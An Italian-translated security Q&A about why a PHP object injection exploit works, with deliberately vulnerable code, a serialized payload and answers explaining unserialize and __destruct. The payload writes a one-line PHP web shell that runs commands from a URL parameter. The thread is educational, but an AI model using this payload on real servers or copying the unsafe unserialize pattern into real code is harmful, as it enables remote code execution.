Perché funziona questo exploit di PHP object injection?

1

Ho recentemente creato codice PHP vulnerabile all'iniezione di oggetti. Ecco il codice del mio file one.php dove ho unserialize il parametro data :

<?php

class utkarsh {

    public $logfile = "delete.txt";
    public $logdata = "test1";

    function check()
    {
        echo "Services are good to go <br>";    
    }

    function __destruct()
    {
        if (file_put_contents(__DIR__ . '/'. $this->logfile, $this->logdata));
        echo "File contents has been uploaded";
    }
}

$v1 = unserialize(@$_GET['data']);

$object =  new utkarsh();
$object->check();

?>

E eseguo con successo questo codice.

Ora è il momento di sfruttarlo, quindi creo un altro file PHP (chiamato two.php ) per la serializzazione. Nota il valore di $logdata .

<?php

class utkarsh 
{

    public $logfile = "test.php";
    public $logdata = '<?php system($_GET["cmd"])?>';

}

$v1 = new utkarsh();

$v2 = serialize($v1);

echo htmlspecialchars($v2)

?>

E ho ottenuto questo:

O:7:"utkarsh":2:{s:7:"logfile";s:8:"test.php";s:7:"logdata";s:28:"<?php system($_GET["cmd"])?>";}

Quando inserisco questo carico utile nel parametro data di one.php , ho caricato correttamente la mia shell di un solo rivestimento.

Ma come? Non ho nemmeno creato alcun file test.php sul mio computer. Come può questo automaticamente creare quel file sul mio computer?

    
posta januu agrawal 28.12.2017 - 12:51
fonte

2 risposte

5

I due file

È importante comprendere i diversi ruoli dei due file PHP che stai utilizzando:

  • one.php è il sistema vulnerabile, quello che stai attaccando.
  • two.php Il secondo è solo uno strumento che l'utente malintenzionato può utilizzare per generare l'oggetto serializzato (cioè data ). Non dovrebbe essere presente sul sistema che stai attaccando, e non ne hai affatto bisogno. Potresti anche generare la stringa data a mano.

Quindi in un esempio reale i due file non sarebbero nemmeno presenti sullo stesso sistema. Il primo verrebbe eseguito sul server che viene attaccato e il secondo verrebbe eseguito localmente sulla macchina degli attaccanti.

Quindi perché lo stesso nome di classe in entrambi i file? Perché quando data è deserializzato sul server, vuoi che crei un'istanza della classe utkarsh . Dopotutto, questa è la classe che scriverà il file per te. Per one.php per creare un'istanza di quell'oggetto, data deve contenere il nome dell'oggetto. E un modo semplice per creare una stringa di oggetto serializzata contenente quel nome di classe è creare una classe diversa con quel nome e serializzarla, proprio come hai fatto in two.php .

Si noti che quando one.php esegue unserialize crea un'istanza di utkarsh che conosce in one.php e non di quella in two.php .

L'exploit attuale

La parte di exploit del tuo processo sta facendo una richiesta per one.php con l'oggetto serializzato nel parametro data . Quindi, perché questo si traduce in un exploit di successo? Esaminiamo, passo dopo passo, cosa sta effettivamente accadendo quando viene eseguito one.php .

  1. La prima riga che fa effettivamente qualcosa è questa:

    $v1 = unserialize(@$_GET['data']);
    

    Dato il data che hai fornito, creerà un oggetto chiamato $v1 della classe utkarsh (come definito in one.php ) con le seguenti proprietà:

    $logfile = "test.php";
    $logdata = '<?php system($_GET["cmd"])?>';
    
  2. Poi c'è questo:

    $object =  new utkarsh();
    $object->check(); 
    

    Questo crea un'altra istanza della classe utkarsh . Ma non è davvero rilevante per l'exploit in alcun modo, per quanto posso vedere - questo dovrebbe funzionare altrettanto bene senza quelle due righe.

  3. Quindi raggiungiamo la fine della sceneggiatura. Quando PHP raggiunge la fine di uno script esegue una "sequenza di spegnimento". Ciò include la chiamata del metodo __destruct su tutti gli oggetti. Quindi per $v1 verrà eseguito questo piccolo pezzo di codice:

    file_put_contents(__DIR__ . '/'. $this->logfile, $this->logdata)
    

    Oppure, se inseriamo i valori delle variabili:

    file_put_contents(__DIR__ . '/test.php', '<?php system($_GET["cmd"])?>')
    

    Ce l'hai. Hai ragione che "tu" non hai scritto il file - invece hai ingannato con successo lo script PHP per scrivere la backdoor per te.

Perché il sistema è vulnerabile?

L'intera ragione per cui questa vulnerabilità è possibile è che passi i dati dell'utente a unserialize . Ciò consente a un utente malintenzionato di creare oggetti negli stati in cui non sarebbero mai presenti durante l'esecuzione "normale" del programma, consentendo al programma di avere effetti imprevisti.

    
risposta data 28.12.2017 - 13:55
fonte
3

Se usi

class utkarsh {

    public $logfile = "delete.txt";
    public $logdata = "test1";

    function check()
    {
        echo "Services are good to go <br>";    
    }

    function __destruct()
    {
        if (file_put_contents(__DIR__ . '/'. $this->logfile, $this->logdata));
        echo "File contents has been uploaded";
    }
}

Quindi __destruct verrà chiamato dall'interprete PHP, il che significa che creerà un file $logfile con contenuti $logdata .

Ora, quando si esegue la serializzazione di un oggetto, si crea un oggetto vuoto e si inseriscono i membri. Ciò significa che un utente malintenzionato può controllare $logfile e $logdata poiché il valore di tali dati rientra nei dati serializzati.

Puoi pensare alla serializzazione come produrre una stringa come logfile=delete.txt;logdata=test1 e poi unseralize crea un utkarsh e legge logfile e logdata da quella stringa e imposta le variabili $logfile , $logdata di conseguenza. Questo significa che un utente malintenzionato può creare una stringa logfile=someotherfile.php;logdata=<?php muahahaha();?> e questo risulterà in un oggetto di classe utkarsh con $logfile = "someotherfile.php" e $logdata = "<?php muahahah();?> e se __destruct() viene chiamato dall'interprete PHP avrai un nuovo file su quel server web.

Ricorda: se si annullano la serializzazione dei dati, si fornisce al provider di input il controllo completo sullo stato interno dell'oggetto che deriva dalla unserialization, consentendo loro di impostare i membri su qualsiasi valore il provider di input desideri.

    
risposta data 28.12.2017 - 22:18
fonte

Leggi altre domande sui tag